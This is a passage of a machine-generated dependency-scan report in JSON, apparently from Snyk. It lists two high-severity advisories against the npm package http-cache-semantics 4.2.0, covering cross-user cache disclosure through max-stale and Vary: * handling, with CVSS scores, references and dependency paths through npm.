"maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "@npmcli/metavuln-calculator@10.0.0", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "@npmcli/metavuln-calculator@10.0.0", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "@npmcli/arborist@10.0.4", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "@npmcli/arborist@10.0.4", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "libnpmdiff@9.0.4", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable 